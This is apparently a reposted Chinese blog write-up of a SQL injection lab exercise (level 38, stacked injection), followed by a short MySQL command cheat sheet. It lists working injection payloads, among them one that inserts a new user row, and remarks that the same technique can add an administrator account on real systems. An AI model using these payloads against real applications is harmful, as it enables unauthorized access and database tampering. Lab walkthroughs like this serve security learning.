转载:堆叠注入详解 - 渗透测试中心 - 博客园 (cnblogs.com)
第三十八题
id=1'
说明为' '闭合
id=1'--+
id=1' or updatexml(1,concat(database()),1)--+
id=1' union select 1,database(),2--+
报错注入无效
联合注入无效说明查询语句不行
这时就可以用堆叠注入,因为堆叠注入可以执行任意类型的语句,并且它显示了字段名username和password
例如id=1';insert into users(id,username,password) values('88','khaz','wuhu')--+
成功在数据库里添加khaz用户
id=88'
在实际情况中可以利用这个来添加管理员用户 (管理员用户和普通用户的区别可能是id值的不同)
mysql常用操作语句
对数据库的增删改查
增 create database 数据库名
删 drop database 数据库名
改 rename database 旧名 to 新名
查 show databases
创建表 create table table_name( id1 int,id2 varcher)
对数据表的增删改查
增 insert into table_name(列1,列2 ... ) values(值1,值2 ... )
删 delete from 表名 where 列名 = 值
改 update 表名 set 列名=新值 where 列名=某值
查 select * from 表名 where 字段1=‘条件一’and 字段2 =‘条件二’